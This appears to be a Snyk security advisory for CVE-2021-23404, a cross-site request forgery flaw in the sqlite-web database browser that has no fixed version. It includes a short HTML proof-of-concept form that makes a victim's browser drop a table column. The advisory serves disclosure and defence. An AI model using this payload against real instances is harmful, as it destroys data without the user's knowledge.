Cross-site Request Forgery (CSRF) Affecting sqlite-web package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.18% (56th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-SQLITEWEB-1316324
  • published6 Sept 2021
  • disclosed9 Jul 2021
  • creditYadhu Krishna M

Introduced: 9 Jul 2021

CVE-2021-23404  (opens in a new tab)
CWE-352  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for sqlite-web.

Overview

sqlite-web is a Web-based SQLite database browser.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF). The SQL dashboard area allows sensitive actions to be performed without validating that the request originated from the application. This could enable an attacker to trick a user into performing these actions unknowingly through a Cross Site Request Forgery (CSRF) attack.

PoC

<html><form enctype="application/x-www-form-urlencoded" method="POST" action="http://your-sqlite-web-instance:8080/sss/drop-column/"><table><tr><td>name</td><td><input type="text" value="id" name="name"></td></tr>
</table><input type="submit" value="http://dvws.local:8080/sss/drop-column/"></form></html>

CVSS Scores

version 3.1